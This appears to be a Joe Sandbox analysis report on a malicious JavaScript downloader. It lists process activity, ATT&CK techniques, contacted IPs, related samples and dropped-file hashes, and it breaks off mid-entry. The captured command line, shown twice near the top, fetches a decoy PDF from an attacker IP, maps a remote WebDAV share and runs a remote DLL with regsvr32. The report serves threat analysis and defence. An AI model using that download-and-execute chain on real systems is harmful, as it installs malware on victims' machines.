Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2808316613110627987.js	5%	Virustotal		Browse
2808316613110627987.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 0000000C.00000002.1313824534.000002771E518000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1315682720.000001B10F2D0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2550452865.000001B10F40F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1313824534.000002771E54A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1313824534.000002771E518000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1313824534.000002771E56B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587850
Start date and time:	2025-01-10 18:34:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2808316613110627987.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 3.219.243.226, 3.233.129.217, 52.22.41.97, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.149.20.212, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:35:23	API Interceptor	23x Sleep call for process: powershell.exe modified
12:35:27	API Interceptor	1x Sleep call for process: net.exe modified
12:35:27	API Interceptor	2x Sleep call for process: svchost.exe modified
12:35:35	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067066561892253
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqb:2JIB/wUKUKQncEmYRTwh0/
MD5:	AD3BFF97D71F328F14C470AA559DFFA1
SHA1:	85470A96BBC5770D9D7A7209C8F6BE7F772826D0
SHA-256:	FECF3FD7EF19AEB3B44FE6DFD66309635AE88E0DFEA70E50535ED12BADEDB073
SHA-512:	3C3FEBDF03D7830BB266608E53FA4929556506EA5F9382614E7E44A653D267141B8E34DD79B7D5AA4BD193C5573158956A09189AD392C7A2BEE8FA0AF10DA5FC
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xda205422, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900098043203205
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:jazaPvgurTd42UgSii
MD5:	0AEFC18C6D9CC0D9897B85BB0FE1C4EC
SHA1:	24867511CFB3C57A38DC424FE99258F423696C31
SHA-256:	DD0E6D30D21D400A2C6619D697449D90EF4F399422CB166C3B3DDC284C88C173
SHA-512:	E8B662C90746964B3F88AD816EAB47A6714FFD24A7C1C56823462CA03A6566509EA2230DC35F4CEE4CA0BFA42169768C0FC9E413A4DC71B699E2425E6558E69C
Malicious:	false
Preview:	. T"... ...............X\...;...{......................0.`.....42...{5..#...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................Q...#...}I...................8..#...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08194085354361243
Encrypted:	false
SSDEEP:	3:Vq/lllKYeJovNt/57Dek3Jz+jyAllEqW3l/TjzzQ/t:0XlKzJovPR3tzqyAmd8/
MD5:	38A7D426AA1ED3619A9243D980DBC816
SHA1:	A1F8EB32224A3068BD2F71795F7E3F724BF28C6D
SHA-256:	8A55F273C9A15DC7FBC206BAC6CF1E64E9AF0FC37C81960E37A487B2F400CC5A
SHA-512:	BD8CF51D9E6057AC4DBAD6A8DC0947A90464F31F1E9D482E7AACE98913E550EB1E45011A45732CE156D71AEBAC3C55C00F05B17E5BFA3659F963E5F25D8887E3
Malicious:	false
Preview:	}........................................;...{...#...}..42...{5.........42...{5.42...{5...Y.42...{59..................8..#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.188058695826274
Encrypted:	false
SSDEEP:	6:iO4nZt+q2PcNwi2nKuAl9OmbnIFUtS4ZmwsIVkwOcNwi2nKuAl9OmbjLJ:7CZovLZHAahFUtN/p54ZHAaSJ
MD5:	48E3F79355B0F23E5EA194C3590A5C5B
SHA1:	93C5E875A8203C12C1E17E2970C416357A5F449C
SHA-256:	4D5533FCBCAF51D578C5348D0EA0DB2EBBF73EC77D7BB1F9D0F2C4A6D6342E66
SHA-512:	64C5CAD9AEDAB77FDFF786C146FF68DB77F12A69C176A7986F736B9E770DD497209653E09DD77A117E805C7AB571EF3210049A07F92AF445EBBDC2256CC48125
Malicious:	false
Preview:	2025/01/10-12:35:27.229 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:35:27.233 1c28 Recovering log #3.2025/01/10-12:35:27.233 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.188058695826274
Encrypted:	false
SSDEEP:	6:iO4nZt+q2PcNwi2nKuAl9OmbnIFUtS4ZmwsIVkwOcNwi2nKuAl9OmbjLJ:7CZovLZHAahFUtN/p54ZHAaSJ
MD5:	48E3F79355B0F23E5EA194C3590A5C5B
SHA1:	93C5E875A8203C12C1E17E2970C416357A5F449C
SHA-256:	4D5533FCBCAF51D578C5348D0EA0DB2EBBF73EC77D7BB1F9D0F2C4A6D6342E66
SHA-512:	64C5CAD9AEDAB77FDFF786C146FF68DB77F12A69C176A7986F736B9E770DD497209653E09DD77A117E805C7AB571EF3210049A07F92AF445EBBDC2256CC48125
Malicious:	false
Preview:	2025/01/10-12:35:27.229 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:35:27.233 1c28 Recovering log #3.2025/01/10-12:35:27.233 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1583740506215054
Encrypted:	false
SSDEEP:	6:iO4W9+q2PcNwi2nKuAl9Ombzo2jMGIFUtSQ2WZmwsQ9VkwOcNwi2nKuAl9Ombzos:7J9+vLZHAa8uFUtlJ/f9V54ZHAa8RJ
MD5:	C79B618874656B20C066CFDEC7636637
SHA1:	F7FDC2E8492A5C68013FD789178C579397EC3009
SHA-256:	9208645C79CDF7705A6328A74DB6958C0CB0D6DA1073E6154633EEE89FACDF6A
SHA-512:	C90091298C5D8409134143AB8ECAD81EE2D0FB0D6C55A2C3BBCD6B7037A608AFE3399AF2F685A961DAB363807C480CEC956EC27C60521E6F0AA4674FE72BB439
Malicious:	false
Preview:	2025/01/10-12:35:27.352 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:35:27.354 1d0c Recovering log #3.2025/01/10-12:35:27.354 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.1583740506215054
Encrypted:	false
SSDEEP:	6:iO4W9+q2PcNwi2nKuAl9Ombzo2jMGIFUtSQ2WZmwsQ9VkwOcNwi2nKuAl9Ombzos:7J9+vLZHAa8uFUtlJ/f9V54ZHAa8RJ
MD5:	C79B618874656B20C066CFDEC7636637
SHA1:	F7FDC2E8492A5C68013FD789178C579397EC3009
SHA-256:	9208645C79CDF7705A6328A74DB6958C0CB0D6DA1073E6154633EEE89FACDF6A
SHA-512:	C90091298C5D8409134143AB8ECAD81EE2D0FB0D6C55A2C3BBCD6B7037A608AFE3399AF2F685A961DAB363807C480CEC956EC27C60521E6F0AA4674FE72BB439
Malicious:	false
Preview:	2025/01/10-12:35:27.352 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:35:27.354 1d0c Recovering log #3.2025/01/10-12:35:27.354 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\650a105f-9fd9-4df6-ac29-e249fd02152a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f26d03d-5504-43bc-aba1-5bd314cec5b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964362082227042
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqCsBdOg2H7caq3QYiubSpDyP7E4T3y:Y2sRdsSdMHC3QYhbSpDa7nby
MD5:	B97FB4FADC36B9B3ADE25BDBECCAE1BF
SHA1:	A87AA4A339244C7F6E2FA6CC5F40B231F040E44D
SHA-256:	EA1940DE4253222E719ACB5F151B12BE56175C58581E44138E70F5DD80AEB7DA
SHA-512:	A4C46335D9A4062F10630A38AC893636300850C893B1B55E6406E53C313CF1FD59DE3BF9F8CD3AFBF66B71D4BEBEC3D440DC170A496737C63620F445EF7B1CF2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090538939822","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":330337},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3cd1a4.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237241876821974
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPP+DVQN:CwNw1GHqPySfkcigoO3h28ytPP+5QN
MD5:	7E2E143FFA7135FFF43AEBB5D4213661
SHA1:	37D6B4CF774032D93426591757B25AE132CC0532
SHA-256:	2239E8B8846F1A7713AF30FEABB5FE5D04E5B20D314B1BF7EBB6FEE17F3F2C50
SHA-512:	7F2B68C1597A1001E9DCC41CA6CE35895B7A7B46A68FD9B32E9550D9807CA2F4814023DD12967F7556C06369BCD52B9FBC8CD8CD7BF4F56C3728319C35692108
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.17738854733723
Encrypted:	false
SSDEEP:	6:iO4R9+q2PcNwi2nKuAl9OmbzNMxIFUtSS332WZmwsKsN9VkwOcNwi2nKuAl9Ombg:769+vLZHAa8jFUthHJ/x+9V54ZHAa84J
MD5:	4CB4E158BA5D89E3062071B4CD2F25FD
SHA1:	812C4466639F7F2EC92095956AB80AC7B0615E90
SHA-256:	7CB5EDCCE9AE48CC18EF7A19C198E62416E18CCC392F051215A68AE0264EEE40
SHA-512:	867601723981ED67ADB0FFDD928F44C1C3D029CAA0023B9F8C60E6DFF57672EF5D6FC65D605BAFF7B06F396D8CEF5E4657987E40E547CE1E921A84CF342E1BFE
Malicious:	false
Preview:	2025/01/10-12:35:27.537 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:35:27.538 1d0c Recovering log #3.2025/01/10-12:35:27.539 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
